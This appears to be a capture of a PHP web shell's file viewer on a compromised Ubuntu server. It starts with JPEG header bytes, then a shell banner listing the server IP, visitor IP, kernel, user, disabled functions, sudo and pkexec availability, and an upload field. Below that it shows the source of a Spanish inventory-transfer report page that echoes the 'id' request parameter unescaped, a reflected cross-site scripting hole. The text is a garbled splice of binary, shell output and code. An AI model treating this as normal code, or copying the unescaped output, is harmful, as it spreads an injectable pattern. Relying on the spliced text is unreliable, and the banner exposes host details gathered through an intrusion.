����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 18.222.188.218 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/t/sae/appsae/core/app/view/ |
Upload File : |
<section class="content"> <div class="btn-group pull-right"> <button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown"> <i class="fa fa-download"></i> Descargar <span class="caret"></span> </button> <ul class="dropdown-menu" role="menu"> <li><a href="report/onesell-word.php?id=<?php echo $_GET["id"];?>">Word 2007 (.docx)</a></li> <li><a onclick="thePDF()" id="makepdf" class=""><i class="fa fa-download"></i> Descargar PDF</a> </ul> </div> <nav class = "navbar navbar-inverse"> <div class = "container-fluid"> <a href = "#" class = "navbar-brand">Resumen de Traspaso # <?php echo $_GET["id"];?></a> </div> </nav> <?php if(isset($_GET["id"]) && $_GET["id"]!=""):?> <?php $sell = ReData::getById($_GET["id"]); $operations = OperationData2::getAllProductsByReId($_GET["id"]); if(isset($operations[0]->product_id)&& ($sell->stock_from_id == NULL)){ echo "<h1>Compra-entrada</h1>"; }elseif($sell->stock_from_id != NULL){ echo "<h1>Traspaso entre Almacenes</h1>"; }else{ echo "<h1>Ajuste-salida</h1>"; $operations = OperationData2::getAllProductsByAjId2($_GET["id"]); //print_r($operations); } $total = 0; ?> <div class="box box-primary"> <table class="table table-bordered"> <?php if($sell->user_id!=""): $user = $sell->getUser(); ?> <tr> <td>Atendido por</td> <td><?php echo $user->name." ".$user->lastname;?></td> </tr> <?php endif; ?> <tr> <td><u>Origen:</u></td> <td> <?php echo StockData::getById($sell->stock_from_id)->name;?> </td> </tr> <tr COLSPAN="2"> <td><u>Destino:</u></td> <td> <a><u><?php echo StockData::getById($sell->stock_to_id)->name;?></u></a> </td> <td align="right"><b><h4>Fecha:</h4></b></td> <?php $fecha = explode("-",$sell->created_at); $fecha2 = explode(":",$fecha[2]); $fecha3 = explode(" ",$fecha2[0]); ?> <td><b><h5><?php echo $fecha3[0]; echo "/"; echo $fecha[1]; echo "/"; echo $fecha[0]; ?></b></h5></td> </tr> </table> </div> <br> <div class="box box-primary"> <table class="table table-bordered table-hover"> <thead> <th>Cantidad</th> <th>Codigo de Barras</th> <th>Nombre del Producto</th> <th>Precio Unitario</th> <th>Total</th> <th>Destino</th> </thead> <?php foreach($operations as $operation){ $product = $operation->getProduct(); ?> <tr> <?php if($operation->operation_type_id==1):?> <td><?php echo $operation->q ;?></td> <td><?php echo $product->barcode ;?></td> <td><?php echo $product->name ;?></td> <td>$ <?php echo number_format($operation->price_out,2,".",",") ;?></td> <td><b>$ <?php echo number_format($operation->q*$operation->price_out,2,".",",");$total+=$operation->q*$operation->price_out;?></b></td> <td><?php echo StockData::getById($operation->stock_id)->name ;?></td> <?php endif; ?> </tr> <?php } ?> </table> </div> <br><br> <div class="row"> <div class="col-md-4"> <div class="box box-primary"> <table class="table table-bordered"> <tr> <td><h4>Subtotal:</h4></td> <td><h4>$ <?php echo number_format($total,2,'.',','); ?></h4></td> </tr> </table> </div> <?php if($sell->person_id!=""): $credit=PaymentData::sumByClientId($sell->person_id)->total; ?> <div class="box box-primary"> <table class="table table-bordered"> <tr> <td><h4>Saldo anterior:</h4></td> <td><h4>$ <?php echo number_format($credit-$total,2,'.',','); ?></h4></td> </tr> <tr> <td><h4>Saldo Actual:</h4></td> <td><h4>$ <?php echo number_format($credit,2,'.',','); ?></h4></td> </tr> </table> </div> <?php endif;?> </div> </div> <script type="text/javascript"> function thePDF() { var columns = [ // {title: "Reten", dataKey: "reten"}, {title: "Codigo", dataKey: "code"}, {title: "Cantidad", dataKey: "q"}, {title: "Nombre del Producto", dataKey: "product"}, {title: "Precio unitario", dataKey: "pu"}, {title: "Total", dataKey: "total"}, // ... ]; var columns2 = [ // {title: "Reten", dataKey: "reten"}, {title: "", dataKey: "clave"}, {title: "", dataKey: "valor"}, // ... ]; var rows = [ <?php foreach($operations as $operation): $product = $operation->getProduct(); ?> { "code": "<?php echo $product->id; ?>", "q": "<?php echo $operation->q; ?>", "product": "<?php echo $product->name; ?>", "pu": "$ <?php echo number_format($operation->price_out,2,".",","); ?>", "total": "$ <?php echo number_format($operation->q*$operation->price_out,2,".",","); ?>", }, <?php endforeach; ?> ]; var rows2 = [ <?php if($sell->person_id!=""): $person = $sell->getPerson(); ?> { "clave": "Cliente", "valor": "<?php echo $person->name." ".$person->lastname; ?>", }, <?php endif; ?> ]; var rows3 = [ { "clave": "Descuento", "valor": "$ <?php echo number_format($sell->discount,2,'.',',');; ?>", }, { "clave": "Subtotal", "valor": "$ <?php echo number_format($sell->total,2,'.',',');; ?>", }, { "clave": "Total", "valor": "$ <?php echo number_format($sell->total-$sell->discount,2,'.',',');; ?>", }, ]; var rows4 = [ <?php if($sell->person_id!=""):?> { "clave": "Saldo Anterior", "valor": "$ <?php echo number_format($credit-$total,2,'.',',');; ?>", }, { "clave": "Saldo Actual", "valor": "$ <?php echo number_format($credit,2,'.',',');; ?>", }, <?php endif; ?> ]; // Only pt supported (not mm or in) var doc = new jsPDF('p', 'pt'); doc.setFontSize(26); doc.text("NOTA DE VENTA", 40, 65); doc.setFontSize(14); doc.text("Fecha: <?php echo $sell->created_at; ?>", 40, 80); // doc.text("Operador:", 40, 150); // doc.text("Header", 40, 30); // doc.text("Header", 40, 30); <?php if($sell->person_id!=""):?> doc.autoTable(columns2, rows2, { theme: 'grid', overflow:'linebreak', styles: { fillColor: [100, 100, 100] }, columnStyles: { id: {fillColor: 255} }, margin: {top: 100}, afterPageContent: function(data) { // doc.text("Header", 40, 30); } }); <?php endif; ?> doc.autoTable(columns, rows, { theme: 'grid', overflow:'linebreak', styles: { fillColor: [100, 100, 100] }, columnStyles: { id: {fillColor: 255} }, margin: {top: doc.autoTableEndPosY()+15}, afterPageContent: function(data) { // doc.text("Header", 40, 30); } }); doc.autoTable(columns2, rows3, { theme: 'grid', overflow:'linebreak', styles: { fillColor: [100, 100, 100] }, columnStyles: { id: {fillColor: 255} }, margin: {top: doc.autoTableEndPosY()+15}, afterPageContent: function(data) { // doc.text("Header", 40, 30); } }); <?php if($sell->person_id!=""):?> doc.autoTable(columns2, rows4, { theme: 'grid', overflow:'linebreak', styles: { fillColor: [100, 100, 100] }, columnStyles: { id: {fillColor: 255} }, margin: {top: doc.autoTableEndPosY()+15}, afterPageContent: function(data) { // doc.text("Header", 40, 30); } }); <?php endif; ?> //doc.setFontsize //img = new Image(); //img.src = "liberacion2.jpg"; //doc.addImage(img, 'JPEG', 40, 10, 610, 100, 'monkey'); // Cache the image using the alias 'monkey' doc.setFontSize(20); doc.setFontSize(12); doc.text("Generado por el Sistema Inventio Max v4.1", 40, doc.autoTableEndPosY()+25); doc.save('sell-<?php echo date("d-m-Y h:i:s",time()); ?>.pdf'); //doc.output("datauri"); } </script> <script> $(document).ready(function(){ // $("#makepdf").trigger("click"); }); </script> <?php else:?> 501 Internal Error <?php endif; ?> </section <!-- Loading CSS --> <style> .loading { position: fixed; top: 0; left: 0; right: 0; bottom: 0; background-color: white; display: flex; justify-content: center; align-items: center; z-index: 9999; transition: 1s all; opacity: 0; } .loading.show { opacity: 1; } .loading .spin { border: 3px solid hsla(185, 100%, 62%, 0.2); border-top-color: #3cefff; border-radius: 50%; width: 3em; height: 3em; animation: spin 1s linear infinite; } @keyframes spin { to { transform: rotate(360deg); } } </style> <!-- Loading HTML --> <div class="loading show"> <div class="spin"></div> </div> <!-- Loading Javascript --> <script> // Loading var Loading=(loadingDelayHidden=0)=>{let loading=null;const myLoadingDelayHidden=loadingDelayHidden;let imgs=[];let lenImgs=0;let counterImgsLoading=0;function incrementCounterImgs(){counterImgsLoading+=1;if(counterImgsLoading===lenImgs){hideLoading()}}function hideLoading(){if(loading!==null){loading.classList.remove('show');setTimeout(function(){loading.remove()},myLoadingDelayHidden)}}function init(){document.addEventListener('DOMContentLoaded',function(){loading=document.querySelector('.loading');imgs=Array.from(document.images);lenImgs=imgs.length;if(imgs.length===0){hideLoading()}else{imgs.forEach(function(img){img.addEventListener('load',incrementCounterImgs,false)})}})}return{'init':init}} Loading(1000).init(); </script>